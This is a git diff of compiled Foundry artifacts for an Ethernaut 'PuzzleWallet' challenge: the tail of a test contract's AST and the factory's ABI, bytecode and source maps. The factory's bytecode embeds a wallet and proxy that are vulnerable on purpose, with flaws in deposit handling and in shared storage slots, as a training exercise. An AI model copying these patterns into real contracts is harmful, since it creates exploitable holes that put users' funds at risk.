PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":63680,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2504:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63679,"name":"address","nodeType":"ElementaryTypeName","src":"2504:7:143","typeDescriptions":{}}},"id":63682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2504:17:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63677,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2473:19:143","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2473:49:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63676,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2462:10:143","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2462:61:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63685,"nodeType":"ExpressionStatement","src":"2462:61:143"}]},"documentation":{"id":63561,"nodeType":"StructuredDocumentation","src":"1714:44:143","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1772:9:143","parameters":{"id":63562,"nodeType":"ParameterList","parameters":[],"src":"1781:2:143"},"returnParameters":{"id":63563,"nodeType":"ParameterList","parameters":[],"src":"1791:0:143"},"scope":63688,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":63424,"name":"Test","nameLocations":["398:4:143"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"398:4:143"},"id":63425,"nodeType":"InheritanceSpecifier","src":"398:4:143"},{"baseName":{"id":63426,"name":"Utils","nameLocations":["404:5:143"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"404:5:143"},"id":63427,"nodeType":"InheritanceSpecifier","src":"404:5:143"}],"canonicalName":"TestPuzzleWallet","contractDependencies":[49101,54712,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[63688,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestPuzzleWallet","nameLocation":"378:16:143","scope":63689,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":143} \ No newline at end of file diff --git a/contracts/out/PuzzleWalletFactory.sol/PuzzleWalletFactory.json b/contracts/out/PuzzleWalletFactory.sol/PuzzleWalletFactory.json new file mode 100644 index 000000000..cb9ceb75d --- /dev/null +++ b/contracts/out/PuzzleWalletFactory.sol/PuzzleWalletFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6118568061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610540565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610562565b610341565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610540565b6103c2565b610114610452565b61011d5f6104ab565b565b5f3466038d7ea4c68000146101a15760405162461bcd60e51b815260206004820152602660248201527f4d7573742073656e6420302e3030312045544820746f2063726561746520696e60448201527f7374616e6365000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b5f6040516101ae90610512565b604051809103905ff0801580156101c7573d5f803e3d5ffd5b506040805168056bc75e2d6310000060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fb7b0422d000000000000000000000000000000000000000000000000000000001790529051919250905f9030908490849061024f9061051f565b61025b93929190610599565b604051809103905ff080158015610274573d5f803e3d5ffd5b506040517fe43252d700000000000000000000000000000000000000000000000000000000815230600482015290915081906001600160a01b0382169063e43252d7906024015f604051808303815f87803b1580156102d1575f80fd5b505af11580156102e3573d5f803e3d5ffd5b50505050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b158015610320575f80fd5b505af1158015610332573d5f803e3d5ffd5b50949998505050505050505050565b5f80839050826001600160a01b0316816001600160a01b031663f851a4406040518163ffffffff1660e01b8152600401602060405180830381865afa15801561038c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103b09190610602565b6001600160a01b031614949350505050565b6103ca610452565b6001600160a01b0381166104465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610198565b61044f816104ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610198565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a5f8061061e83390190565b6107a48061107d83390190565b6001600160a01b038116811461044f575f80fd5b5f60208284031215610550575f80fd5b813561055b8161052c565b9392505050565b5f8060408385031215610573575f80fd5b823561057e8161052c565b9150602083013561058e8161052c565b809150509250929050565b5f6001600160a01b0380861683526020818616602085015260606040850152845191508160608501525f5b828110156105e0578581018201518582016080015281016105c4565b50505f608082850101526080601f19601f830116840101915050949350505050565b5f60208284031215610612575f80fd5b815161055b8161052c56fe608060405234801561000f575f80fd5b50610a428061001d5f395ff3fe6080604052600436106100ad575f3560e01c8063b61d27f611610066578063d0e30db01161004c578063d0e30db0146101a0578063d936547e146101a8578063e43252d7146101e6575f80fd5b8063b61d27f61461016e578063b7b0422d14610181575f80fd5b80638da5cb5b116100965780638da5cb5b146101045780639d51d9b71461013a578063ac9650d81461015b575f80fd5b806327e235e3146100b157806373ad468a146100ef575b5f80fd5b3480156100bc575f80fd5b506100dc6100cb366004610839565b60036020525f908152604090205481565b6040519081526020015b60405180910390f35b3480156100fa575f80fd5b506100dc60015481565b34801561010f575f80fd5b505f54610122906001600160a01b031681565b6040516001600160a01b0390911681526020016100e6565b348015610145575f80fd5b50610159610154366004610859565b610205565b005b610159610169366004610870565b6102ad565b61015961017c3660046108df565b6104d7565b34801561018c575f80fd5b5061015961019b366004610859565b61065d565b6101596106db565b3480156101b3575f80fd5b506101d66101c2366004610839565b60026020525f908152604090205460ff1681565b60405190151581526020016100e6565b3480156101f1575f80fd5b50610159610200366004610839565b6107a2565b335f9081526002602052604090205460ff1661025a5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b60448201526064015b60405180910390fd5b47156102a85760405162461bcd60e51b815260206004820152601960248201527f436f6e74726163742062616c616e6365206973206e6f742030000000000000006044820152606401610251565b600155565b335f9081526002602052604090205460ff166102fd5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b5f805b828110156104d1575f84848381811061031b5761031b61095f565b905060200281019061032d9190610973565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050506020820151919250507f2f1cf250000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016104045783156103ff5760405162461bcd60e51b815260206004820152601f60248201527f4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365006044820152606401610251565b600193505b5f308787868181106104185761041861095f565b905060200281019061042a9190610973565b6040516104389291906109bd565b5f60405180830381855af49150503d805f8114610470576040519150601f19603f3d011682016040523d82523d5f602084013e610475565b606091505b50509050806104c65760405162461bcd60e51b815260206004820152601b60248201527f4572726f72207768696c652064656c65676174696e672063616c6c00000000006044820152606401610251565b505050600101610300565b50505050565b335f9081526002602052604090205460ff166105275760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b335f908152600360205260409020548311156105855760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610251565b335f90815260036020526040812080548592906105a39084906109e0565b925050819055505f846001600160a01b03168484846040516105c69291906109bd565b5f6040518083038185875af1925050503d805f8114610600576040519150601f19603f3d011682016040523d82523d5f602084013e610605565b606091505b50509050806106565760405162461bcd60e51b815260206004820152601060248201527f457865637574696f6e206661696c6564000000000000000000000000000000006044820152606401610251565b5050505050565b600154156106ad5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610251565b6001555f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b335f9081526002602052604090205460ff1661072b5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b60015447111561077d5760405162461bcd60e51b815260206004820152601360248201527f4d61782062616c616e63652072656163686564000000000000000000000000006044820152606401610251565b335f908152600360205260408120805434929061079b9084906109f9565b9091555050565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260206004820152600d60248201527f4e6f7420746865206f776e6572000000000000000000000000000000000000006044820152606401610251565b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b80356001600160a01b0381168114610834575f80fd5b919050565b5f60208284031215610849575f80fd5b6108528261081e565b9392505050565b5f60208284031215610869575f80fd5b5035919050565b5f8060208385031215610881575f80fd5b823567ffffffffffffffff80821115610898575f80fd5b818501915085601f8301126108ab575f80fd5b8135818111156108b9575f80fd5b8660208260051b85010111156108cd575f80fd5b60209290920196919550909350505050565b5f805f80606085870312156108f2575f80fd5b6108fb8561081e565b935060208501359250604085013567ffffffffffffffff8082111561091e575f80fd5b818701915087601f830112610931575f80fd5b81358181111561093f575f80fd5b886020828501011115610950575f80fd5b95989497505060200194505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610988575f80fd5b83018035915067ffffffffffffffff8211156109a2575f80fd5b6020019150368190038213156109b6575f80fd5b9250929050565b818382375f9101908152919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156109f3576109f36109cc565b92915050565b808201808211156109f3576109f36109cc56fea26469706673582212204a37ec8db90e9291144416a71f631fa008581c61934653fce5bf14a61bcb763464736f6c63430008180033608060405234801561000f575f80fd5b506040516107a43803806107a483398101604081905261002e916101f9565b818161005b60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6102c3565b5f8051602061078483398151915214610076576100766102e8565b61007f82610116565b8051156100eb575f826001600160a01b03168260405161009f91906102fc565b5f60405180830381855af49150503d805f81146100d7576040519150601f19603f3d011682016040523d82523d5f602084013e6100dc565b606091505b50509050806100e9575f80fd5b505b5050600180546001600160a01b0319166001600160a01b039490941693909317909255506103179050565b6001600160a01b0381163b6101975760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e747261637400000000000000000000606482015260840160405180910390fd5b5f8051602061078483398151915255565b80516001600160a01b03811681146101be575f80fd5b919050565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156101f15781810151838201526020016101d9565b50505f910152565b5f805f6060848603121561020b575f80fd5b610214846101a8565b9250610222602085016101a8565b60408501519092506001600160401b038082111561023e575f80fd5b818601915086601f830112610251575f80fd5b815181811115610263576102636101c3565b604051601f8201601f19908116603f0116810190838211818310171561028b5761028b6101c3565b816040528281528960208487010111156102a3575f80fd5b6102b48360208301602088016101d7565b80955050505050509250925092565b818103818111156102e257634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52600160045260245ffd5b5f825161030d8184602087016101d7565b9190910192915050565b610460806103245f395ff3fe60806040526004361061005d575f3560e01c8063a02fcc0a11610042578063a02fcc0a146100cd578063a6376746146100ec578063f851a440146101345761006c565b806326782247146100745780633659cfe6146100ae5761006c565b3661006c5761006a610153565b005b61006a610153565b34801561007f575f80fd5b505f54610092906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b9575f80fd5b5061006a6100c83660046103fd565b610185565b3480156100d8575f80fd5b5061006a6100e73660046103fd565b6101f0565b3480156100f7575f80fd5b5061006a6101063660046103fd565b5f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b34801561013f575f80fd5b50600154610092906001600160a01b031681565b61018361017e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102ff565b565b6001546001600160a01b031633146101e45760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064015b60405180910390fd5b6101ed8161031d565b50565b6001546001600160a01b0316331461024a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064016101db565b5f546001600160a01b038281169116146102ce576040805162461bcd60e51b81526020600482015260248101919091527f4578706563746564206e65772061646d696e206279207468652063757272656e60448201527f742061646d696e206973206e6f74207468652070656e64696e672061646d696e60648201526084016101db565b505f546001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b365f80375f80365f845af43d5f803e808015610319573d5ff35b3d5ffd5b6103268161035c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6001600160a01b0381163b6103d95760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e74726163740000000000000000000060648201526084016101db565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b5f6020828403121561040d575f80fd5b81356001600160a01b0381168114610423575f80fd5b939250505056fea2646970667358221220897a58963b49b36715afa3e1444c9f7bdb8e9025fc8a7090ef4d5c9d90a80b3664736f6c63430008180033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbca2646970667358221220b6d3185f479a26c66ddfa2f63b5f9a346a19123d447948f65b297f88f94074f164736f6c63430008180033","sourceMap":"115:1030:102:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;115:1030:102;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;115:1030:102:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610540565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610562565b610341565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610540565b6103c2565b610114610452565b61011d5f6104ab565b565b5f3466038d7ea4c68000146101a15760405162461bcd60e51b815260206004820152602660248201527f4d7573742073656e6420302e3030312045544820746f2063726561746520696e60448201527f7374616e6365000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b5f6040516101ae90610512565b604051809103905ff0801580156101c7573d5f803e3d5ffd5b506040805168056bc75e2d6310000060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fb7b0422d000000000000000000000000000000000000000000000000000000001790529051919250905f9030908490849061024f9061051f565b61025b93929190610599565b604051809103905ff080158015610274573d5f803e3d5ffd5b506040517fe43252d700000000000000000000000000000000000000000000000000000000815230600482015290915081906001600160a01b0382169063e43252d7906024015f604051808303815f87803b1580156102d1575f80fd5b505af11580156102e3573d5f803e3d5ffd5b50505050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b158015610320575f80fd5b505af1158015610332573d5f803e3d5ffd5b50949998505050505050505050565b5f80839050826001600160a01b0316816001600160a01b031663f851a4406040518163ffffffff1660e01b8152600401602060405180830381865afa15801561038c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103b09190610602565b6001600160a01b031614949350505050565b6103ca610452565b6001600160a01b0381166104465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610198565b61044f816104ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610198565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a5f8061061e83390190565b6107a48061107d83390190565b6001600160a01b038116811461044f575f80fd5b5f60208284031215610550575f80fd5b813561055b8161052c565b9392505050565b5f8060408385031215610573575f80fd5b823561057e8161052c565b9150602083013561058e8161052c565b809150509250929050565b5f6001600160a01b0380861683526020818616602085015260606040850152845191508160608501525f5b828110156105e0578581018201518582016080015281016105c4565b50505f608082850101526080601f19601f830116840101915050949350505050565b5f60208284031215610612575f80fd5b815161055b8161052c56fe608060405234801561000f575f80fd5b50610a428061001d5f395ff3fe6080604052600436106100ad575f3560e01c8063b61d27f611610066578063d0e30db01161004c578063d0e30db0146101a0578063d936547e146101a8578063e43252d7146101e6575f80fd5b8063b61d27f61461016e578063b7b0422d14610181575f80fd5b80638da5cb5b116100965780638da5cb5b146101045780639d51d9b71461013a578063ac9650d81461015b575f80fd5b806327e235e3146100b157806373ad468a146100ef575b5f80fd5b3480156100bc575f80fd5b506100dc6100cb366004610839565b60036020525f908152604090205481565b6040519081526020015b60405180910390f35b3480156100fa575f80fd5b506100dc60015481565b34801561010f575f80fd5b505f54610122906001600160a01b031681565b6040516001600160a01b0390911681526020016100e6565b348015610145575f80fd5b50610159610154366004610859565b610205565b005b610159610169366004610870565b6102ad565b61015961017c3660046108df565b6104d7565b34801561018c575f80fd5b5061015961019b366004610859565b61065d565b6101596106db565b3480156101b3575f80fd5b506101d66101c2366004610839565b60026020525f908152604090205460ff1681565b60405190151581526020016100e6565b3480156101f1575f80fd5b50610159610200366004610839565b6107a2565b335f9081526002602052604090205460ff1661025a5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b60448201526064015b60405180910390fd5b47156102a85760405162461bcd60e51b815260206004820152601960248201527f436f6e74726163742062616c616e6365206973206e6f742030000000000000006044820152606401610251565b600155565b335f9081526002602052604090205460ff166102fd5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b5f805b828110156104d1575f84848381811061031b5761031b61095f565b905060200281019061032d9190610973565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050506020820151919250507f2f1cf250000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016104045783156103ff5760405162461bcd60e51b815260206004820152601f60248201527f4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365006044820152606401610251565b600193505b5f308787868181106104185761041861095f565b905060200281019061042a9190610973565b6040516104389291906109bd565b5f60405180830381855af49150503d805f8114610470576040519150601f19603f3d011682016040523d82523d5f602084013e610475565b606091505b50509050806104c65760405162461bcd60e51b815260206004820152601b60248201527f4572726f72207768696c652064656c65676174696e672063616c6c00000000006044820152606401610251565b505050600101610300565b50505050565b335f9081526002602052604090205460ff166105275760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b335f908152600360205260409020548311156105855760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610251565b335f90815260036020526040812080548592906105a39084906109e0565b925050819055505f846001600160a01b03168484846040516105c69291906109bd565b5f6040518083038185875af1925050503d805f8114610600576040519150601f19603f3d011682016040523d82523d5f602084013e610605565b606091505b50509050806106565760405162461bcd60e51b815260206004820152601060248201527f457865637574696f6e206661696c6564000000000000000000000000000000006044820152606401610251565b5050505050565b600154156106ad5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610251565b6001555f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b335f9081526002602052604090205460ff1661072b5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b60015447111561077d5760405162461bcd60e51b815260206004820152601360248201527f4d61782062616c616e63652072656163686564000000000000000000000000006044820152606401610251565b335f908152600360205260408120805434929061079b9084906109f9565b9091555050565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260206004820152600d60248201527f4e6f7420746865206f776e6572000000000000000000000000000000000000006044820152606401610251565b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b80356001600160a01b0381168114610834575f80fd5b919050565b5f60208284031215610849575f80fd5b6108528261081e565b9392505050565b5f60208284031215610869575f80fd5b5035919050565b5f8060208385031215610881575f80fd5b823567ffffffffffffffff80821115610898575f80fd5b818501915085601f8301126108ab575f80fd5b8135818111156108b9575f80fd5b8660208260051b85010111156108cd575f80fd5b60209290920196919550909350505050565b5f805f80606085870312156108f2575f80fd5b6108fb8561081e565b935060208501359250604085013567ffffffffffffffff8082111561091e575f80fd5b818701915087601f830112610931575f80fd5b81358181111561093f575f80fd5b886020828501011115610950575f80fd5b95989497505060200194505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610988575f80fd5b83018035915067ffffffffffffffff8211156109a2575f80fd5b6020019150368190038213156109b6575f80fd5b9250929050565b818382375f9101908152919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156109f3576109f36109cc565b92915050565b808201808211156109f3576109f36109cc56fea26469706673582212204a37ec8db90e9291144416a71f631fa008581c61934653fce5bf14a61bcb763464736f6c63430008180033608060405234801561000f575f80fd5b506040516107a43803806107a483398101604081905261002e916101f9565b818161005b60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6102c3565b5f8051602061078483398151915214610076576100766102e8565b61007f82610116565b8051156100eb575f826001600160a01b03168260405161009f91906102fc565b5f60405180830381855af49150503d805f81146100d7576040519150601f19603f3d011682016040523d82523d5f602084013e6100dc565b606091505b50509050806100e9575f80fd5b505b5050600180546001600160a01b0319166001600160a01b039490941693909317909255506103179050565b6001600160a01b0381163b6101975760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e747261637400000000000000000000606482015260840160405180910390fd5b5f8051602061078483398151915255565b80516001600160a01b03811681146101be575f80fd5b919050565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156101f15781810151838201526020016101d9565b50505f910152565b5f805f6060848603121561020b575f80fd5b610214846101a8565b9250610222602085016101a8565b60408501519092506001600160401b038082111561023e575f80fd5b818601915086601f830112610251575f80fd5b815181811115610263576102636101c3565b604051601f8201601f19908116603f0116810190838211818310171561028b5761028b6101c3565b816040528281528960208487010111156102a3575f80fd5b6102b48360208301602088016101d7565b80955050505050509250925092565b818103818111156102e257634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52600160045260245ffd5b5f825161030d8184602087016101d7565b9190910192915050565b610460806103245f395ff3fe60806040526004361061005d575f3560e01c8063a02fcc0a11610042578063a02fcc0a146100cd578063a6376746146100ec578063f851a440146101345761006c565b806326782247146100745780633659cfe6146100ae5761006c565b3661006c5761006a610153565b005b61006a610153565b34801561007f575f80fd5b505f54610092906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b9575f80fd5b5061006a6100c83660046103fd565b610185565b3480156100d8575f80fd5b5061006a6100e73660046103fd565b6101f0565b3480156100f7575f80fd5b5061006a6101063660046103fd565b5f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b34801561013f575f80fd5b50600154610092906001600160a01b031681565b61018361017e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102ff565b565b6001546001600160a01b031633146101e45760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064015b60405180910390fd5b6101ed8161031d565b50565b6001546001600160a01b0316331461024a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064016101db565b5f546001600160a01b038281169116146102ce576040805162461bcd60e51b81526020600482015260248101919091527f4578706563746564206e65772061646d696e206279207468652063757272656e60448201527f742061646d696e206973206e6f74207468652070656e64696e672061646d696e60648201526084016101db565b505f546001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b365f80375f80365f845af43d5f803e808015610319573d5ff35b3d5ffd5b6103268161035c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6001600160a01b0381163b6103d95760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e74726163740000000000000000000060648201526084016101db565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b5f6020828403121561040d575f80fd5b81356001600160a01b0381168114610423575f80fd5b939250505056fea2646970667358221220897a58963b49b36715afa3e1444c9f7bdb8e9025fc8a7090ef4d5c9d90a80b3664736f6c63430008180033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbca2646970667358221220b6d3185f479a26c66ddfa2f63b5f9a346a19123d447948f65b297f88f94074f164736f6c63430008180033","sourceMap":"115:1030:102:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;159:771:102;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;159:771:102;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;936:207:102;;;;;;;;;;-1:-1:-1;936:207:102;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;936:207:102;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;159:771:102:-;238:7;265:9;278:11;265:24;257:75;;;;-1:-1:-1;;;257:75:102;;1451:2:155;257:75:102;;;1433:21:155;1490:2;1470:18;;;1463:30;1529:34;1509:18;;;1502:62;1600:8;1580:18;;;1573:36;1626:19;;257:75:102;;;;;;;;;384:24;411:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;523:61:102;;;574:9;523:61;;;;1829:52:155;;;;523:61:102;;;;;;;;;;1802:18:155;;;;523:61:102;;;;;;;;;546:26;523:61;;;614:58;;384:45;;-1:-1:-1;523:61:102;503:17;;638:4;;384:45;;523:61;;614:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;807:38:102;;;;;839:4;807:38;;;571:74:155;594:78:102;;-1:-1:-1;594:78:102;;-1:-1:-1;;;;;807:23: